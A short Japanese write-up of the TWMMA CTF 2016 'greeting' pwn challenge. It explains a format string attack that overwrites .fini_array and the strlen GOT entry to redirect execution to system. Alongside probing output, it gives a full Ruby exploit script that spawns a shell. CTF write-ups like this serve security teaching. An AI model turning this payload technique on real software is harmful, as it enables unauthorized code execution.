TWMMA CTF 2016 / greeting を解いた
write-upを見た。この人競プロもCTFもできてすごいなあ。
Tokyo Westerns/MMA CTF 2nd 2016: greeting · うさぎ小屋
Tokyo Westerns/MMA CTF 2nd 2016のPwn作問 - ShiftCrops つれづれなる備忘録
Villager Aと同じformat string attackだが、 printf
した後にGOT overwriteされるための関数がないので困る。
そこで デストラクタ .fini_array
を書き換えれば解けるらしい。
.fini_array
の場所は readelf -S ./greeting
で見ることができる。
あとgdbでrunするとすぐ終了してしまうので戸惑った。これは tomori
セクションの nao
関数がコンストラクタになっているからで、 gdbで set follow-fork-mode parent
すれば大丈夫。
また、 脆弱性のある sprintf
では Nice to meet you,
(18文字 = 18B) が先に来ているので、 %n
で書き込む際のバイト数には気をつける(書き込みたい値からすでに書き込んだバイト数4 * nを引き、さらに18を引く)。
これに気づかず、 デストラクタから main
に戻ろうとするときにSEGVを起こして苦悶していた。
さらに、 write-upでは %12$x
を使っていたが、 AAAA
と入れても 41414141
と表示されない。それゆえはじめ自分は %23$x
を使っていた。しかしこれも、 Nice to meet you,
のため AAAA
と打つと 累計 22バイトになるからずれていた。
どうして %23$x
でダメなのかはよくわからない。
$ ./greeting Hello, I'm nao! Please tell me your name... AAAA %12$x Nice to meet you, AAAA 25204141 <--------22byte------> # 0x25204141 -> "AA %" $ ./greeting Hello, I'm nao! Please tell me your name... BBAAAA %12$x Nice to meet you, BBAAAA 41414141 <--------20byte----><4b> $ ./greeting Hello, I'm nao! Please tell me your name... AAAA %23$x Nice to meet you, AAAA 41414141
理解はできたものの実際にシェルを取れるexploitを書くのにすごく時間がかかった。
.fini_array
のアドレスも覚えてしまった(((
ライブラリも使ってみようかな。Rubyで車輪の再発明するのもアリかもしれない。
Exploit
strlen_plt = 0x08049a54 # の指すアドレスを 0x08048490 <system> に dtors_addr = 0x08049934 # の指すアドレスを 0x080485ed <main> に exploit = "AA" exploit += [strlen_plt + 2, strlen_plt, dtors_addr].pack("I*") exploit += "%#{0x0804 - 20 - 12}x" exploit += "%12$hn" exploit += "%#{0x8490 - 0x0804}x" exploit += "%13$hn" exploit += "%#{0x85ed - 0x8490}x" exploit += "%14$hn\n" print exploit print "sh\n" print "id\n"